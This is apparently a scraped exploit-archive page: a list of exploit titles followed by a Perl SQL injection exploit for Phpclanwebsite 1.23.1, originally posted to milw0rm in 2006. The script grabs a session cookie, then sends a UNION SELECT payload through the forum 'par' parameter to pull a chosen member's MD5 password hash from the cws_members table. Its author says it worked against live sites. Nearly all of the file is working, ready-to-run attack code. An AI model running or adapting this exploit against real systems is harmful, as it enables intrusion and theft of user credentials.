
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
57 lines
2.2 KiB
Perl
Executable file
57 lines
2.2 KiB
Perl
Executable file
#!perl
|
|
#Phpclanwebsite 1.23.1 SQL injection exploit by matrix_killer
|
|
#Greets to all omega-team members[and specially to EcLiPsE] and also to h4cky0u[h4cky0u.org], Alpha-Fan, Chameleon and all my friends
|
|
#The exploit was tested on phpclan's website and it worked + my local server and on ra4ev.com
|
|
#But on versions below 1.23.1 it doesn't seem to work
|
|
|
|
use IO::Socket;
|
|
$host = $ARGV[0];
|
|
$path = $ARGV[1];
|
|
$topic = $ARGV[2];
|
|
$id = $ARGV[3];
|
|
|
|
if (@ARGV < 4) {
|
|
print "---------------------------------------------------------\n";
|
|
print "-- Phpclanwebsite 1.23.1 SQL Injection sploit --\n";
|
|
print "-- (C)oded by matrix_killer --\n";
|
|
print "-- Contact: matrix_k\@abv.bg || matrix_killer\@ra4ev.com --\n";
|
|
print "-- Usage: $0 [host] [path] [topic] [id] --\n";
|
|
print "-- Ex: $0 127.0.0.1 cws 2 2 --\n";
|
|
print "---------------------------------------------------------\n";
|
|
exit();
|
|
}
|
|
$sock = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || die "Can't establish a connection\n";
|
|
|
|
print $sock "GET /$path/index.php?page=forum&func=post&par=$topic HTTP/1.1\n";
|
|
print $sock "User-Agent: Mozilla/4.0\n";
|
|
print $sock "Host: $host\n\n";
|
|
while ($asd = <$sock>) {
|
|
if ($asd =~ /Set-Cookie:/gi) {
|
|
$asd =~ /cuser_id=([a-zA-Z0-9]{32})/;
|
|
$cookie = $1;
|
|
}
|
|
}
|
|
$sock->close;
|
|
|
|
$socket = IO::Socket::INET->new(PeerAddr => "$host",PeerPort => "80",Proto => "tcp") || die "Can't establish a connection\n";
|
|
print "-- Connection Established --\n";
|
|
|
|
print $socket "GET /$path/index.php?page=forum&func=post&par=$topic%20UNION%20SELECT%20null,null,null,null,null,null,password,null%20FROM%20cws_members%20WHERE%20member_id=$id/* HTTP/1.0\n";
|
|
print $socket "User-Agent: Mozilla/4.0\n";
|
|
print $socket "Host: $host\n";
|
|
print $socket "Cookie: cuser_id=$cookie; chitcounter=hitcounter\n\n";
|
|
print "-- Waiting... --\n";
|
|
|
|
while($ans = <$socket>) {
|
|
if ($ans =~ /([a-zA-Z0-9]{32})/){
|
|
if ($ans =~ /cookie/i) {
|
|
next;
|
|
}
|
|
print "\nmember id: $id \n";
|
|
print "md5 hash: $1 \n";
|
|
exit;
|
|
}
|
|
}
|
|
print "Sorry there s33ms to be a problem\n";
|
|
|
|
# milw0rm.com [2006-01-25]
|